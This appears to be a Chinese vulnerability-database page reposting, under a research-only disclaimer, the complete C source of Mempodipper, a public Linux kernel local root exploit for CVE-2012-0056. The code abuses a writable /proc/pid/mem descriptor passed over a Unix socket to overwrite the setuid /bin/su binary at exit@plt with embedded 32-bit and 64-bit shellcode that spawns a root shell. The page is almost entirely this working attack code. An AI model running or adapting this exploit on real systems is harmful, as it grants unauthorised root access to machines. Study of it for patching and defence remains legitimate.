网通主站  |  电信镜像

软件下载 黑客软件 安全相关 动画教程 常用软件 杀毒专栏 最新更新 国外黑软 手机软件 股票软件
技术教程 新闻动态 黑客技术 安全漏洞 加密解密 安全防御 病毒资讯 技术文摘 网络杂文 以前教程
软件教程 黑软教程 安软教程 系统工具 网络工具 多媒体类 图形图像 联络聊天 实用工具

QQ 专 区

返回首页
当前位置: 主页 > 安全漏洞 > Linux >

Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 6

SSV-ID: 30042 SSV-AppDir: Linux 发布时间: 2012-01-23 测试方法: @Sebug.netdis 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Exploit code is here : http : //git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c Blog post about

  
SSV-ID: 30042
SSV-AppDir: Linux
发布时间: 2012-01-23

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
  2. Blog post about it is here: http://blog.zx2c4.com/749
  3. # Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
  4. # Date: Jan 21, 2012
  5. # Author: zx2c4
  6. # Tested on: Gentoo, Ubuntu
  7. # Platform: Linux
  8. # Category: Local
  9. # CVE-2012-0056
  10. /*
  11. * Mempodipper
  12. * by zx2c4
  13. *
  14. * Linux Local Root Exploit
  15. *
  16. * Rather than put my write up here, per usual, this time I've put it
  17. * in a rather lengthy blog post: http://blog.zx2c4.com/749
  18. *
  19. * Enjoy.
  20. *
  21. * - zx2c4
  22. * Jan 21, 2012
  23. *
  24. * CVE-2012-0056
  25. */
  26.  
  27. #define _LARGEFILE64_SOURCE
  28. #include <stdio.h>
  29. #include <string.h>
  30. #include <stdlib.h>
  31. #include <sys/types.h>
  32. #include <sys/stat.h>
  33. #include <sys/socket.h>
  34. #include <sys/un.h>
  35. #include <fcntl.h>
  36. #include <unistd.h>
  37. #include <limits.h>
  38. char *socket_path = "/tmp/.sockpuppet";
  39. int send_fd(int fd)
  40. {
  41.     char buf[1];
  42.     struct iovec iov;
  43.     struct msghdr msg;
  44.     struct cmsghdr *cmsg;
  45.     struct sockaddr_un addr;
  46.     int n;
  47.     int sock;
  48.     char cms[CMSG_SPACE(sizeof(int))];
  49.     
  50.     if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  51.         return -1;
  52.     memset(&addr, 0, sizeof(addr));
  53.     addr.sun_family = AF_UNIX;
  54.     strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
  55.     if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
  56.         return -1;
  57.     buf[0] = 0;
  58.     iov.iov_base = buf;
  59.     iov.iov_len = 1;
  60.     memset(&msg, 0, sizeof msg);
  61.     msg.msg_iov = &iov;
  62.     msg.msg_iovlen = 1;
  63.     msg.msg_control = (caddr_t)cms;
  64.     msg.msg_controllen = CMSG_LEN(sizeof(int));
  65.     cmsg = CMSG_FIRSTHDR(&msg);
  66.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  67.     cmsg->cmsg_level = SOL_SOCKET;
  68.     cmsg->cmsg_type = SCM_RIGHTS;
  69.     memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  70.     if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  71.         return -1;
  72.     close(sock);
  73.     return 0;
  74. }
  75. int recv_fd()
  76. {
  77.     int listener;
  78.     int sock;
  79.     int n;
  80.     int fd;
  81.     char buf[1];
  82.     struct iovec iov;
  83.     struct msghdr msg;
  84.     struct cmsghdr *cmsg;
  85.     struct sockaddr_un addr;
  86.     char cms[CMSG_SPACE(sizeof(int))];
  87.     if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
  88.         return -1;
  89.     memset(&addr, 0, sizeof(addr));
  90.     addr.sun_family = AF_UNIX;
  91.     strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
  92.     unlink(socket_path);
  93.     if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
  94.         return -1;
  95.     if (listen(listener, 1) < 0)
  96.         return -1;
  97.     if ((sock = accept(listener, NULL, NULL)) < 0)
  98.         return -1;
  99.     
  100.     iov.iov_base = buf;
  101.     iov.iov_len = 1;
  102.     memset(&msg, 0, sizeof msg);
  103.     msg.msg_name = 0;
  104.     msg.msg_namelen = 0;
  105.     msg.msg_iov = &iov;
  106.     msg.msg_iovlen = 1;
  107.     msg.msg_control = (caddr_t)cms;
  108.     msg.msg_controllen = sizeof cms;
  109.     if ((n = recvmsg(sock, &msg, 0)) < 0)
  110.         return -1;
  111.     if (n == 0)
  112.         return -1;
  113.     cmsg = CMSG_FIRSTHDR(&msg);
  114.     memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  115.     close(sock);
  116.     close(listener);
  117.     return fd;
  118. }
  119.  
  120. int main(int argc, char **argv)
  121. {
  122.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
  123.         char parent_mem[256];
  124.         sprintf(parent_mem, "/proc/%s/mem", argv[2]);
  125.         printf("[+] Opening parent mem %s in child.\n", parent_mem);
  126.         int fd = open(parent_mem, O_RDWR);
  127.         if (fd < 0) {
  128.             perror("[-] open");
  129.             return 1;
  130.         }
  131.         printf("[+] Sending fd %d to parent.\n", fd);
  132.         send_fd(fd);
  133.         return 0;
  134.     }
  135.     
  136.     printf("===============================\n");
  137.     printf("=          Mempodipper        =\n");
  138.     printf("=           by zx2c4          =\n");
  139.     printf("=         Jan 21, 2012        =\n");
  140.     printf("===============================\n\n");
  141.     
  142.     int parent_pid = getpid();
  143.     if (fork()) {
  144.         printf("[+] Waiting for transferred fd in parent.\n");
  145.         int fd = recv_fd();
  146.         printf("[+] Received fd at %d.\n", fd);
  147.         if (fd < 0) {
  148.             perror("[-] recv_fd");
  149.             return -1;
  150.         }
  151.         printf("[+] Assigning fd %d to stderr.\n", fd);
  152.         dup2(2, 6);
  153.         dup2(fd, 2);
  154.         unsigned long address;
  155.         if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  156.             address = strtoul(argv[2], NULL, 16);
  157.         else {
  158.             printf("[+] Reading su for exit@plt.\n");
  159.             // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
  160.             FILE *command = popen("objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  161.             char result[32];
  162.             result[0] = 0;
  163.             fgets(result, 32, command);
  164.             pclose(command);
  165.             address = strtoul(result, NULL, 16);
  166.             if (address == ULONG_MAX || !address) {
  167.                 printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  168.                 printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
  169.                 return 1;
  170.             }
  171.             printf("[+] Resolved exit@plt to 0x%lx.\n", address);
  172.         }
  173.         printf("[+] Calculating su padding.\n");
  174.         FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
  175.         char result[256];
  176.         result[0] = 0;
  177.         fgets(result, 256, command);
  178.         pclose(command);
  179.         unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
  180.         unsigned long offset = address - su_padding;
  181.         printf("[+] Seeking to offset 0x%lx.\n", offset);
  182.         lseek64(fd, offset, SEEK_SET);
  183.         
  184. #if defined(__i386__)
  185.         // See shellcode-32.s in this package for the source.
  186.         char shellcode[] =
  187.             "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  188.             "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  189.             "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  190.             "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  191.             "\x80";
  192. #elif defined(__x86_64__)
  193.         // See shellcode-64.s in this package for the source.
  194.         char shellcode[] =
  195.             "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
  196.             "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
  197.             "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
  198.             "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
  199.             "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  200. #else
  201. #error "That platform is not supported."
  202. #endif
  203.         printf("[+] Executing su with shellcode.\n");
  204.         execl("/bin/su", "su", shellcode, NULL);
  205.     } else {
  206.         char pid[32];
  207.         sprintf(pid, "%d", parent_pid);
  208.         printf("[+] Executing child from child fork.\n");
  209.         execl("/proc/self/exe", argv[0], "-c", pid, NULL);
  210.     }
  211. }
 
------分隔线----------------------------
收藏到: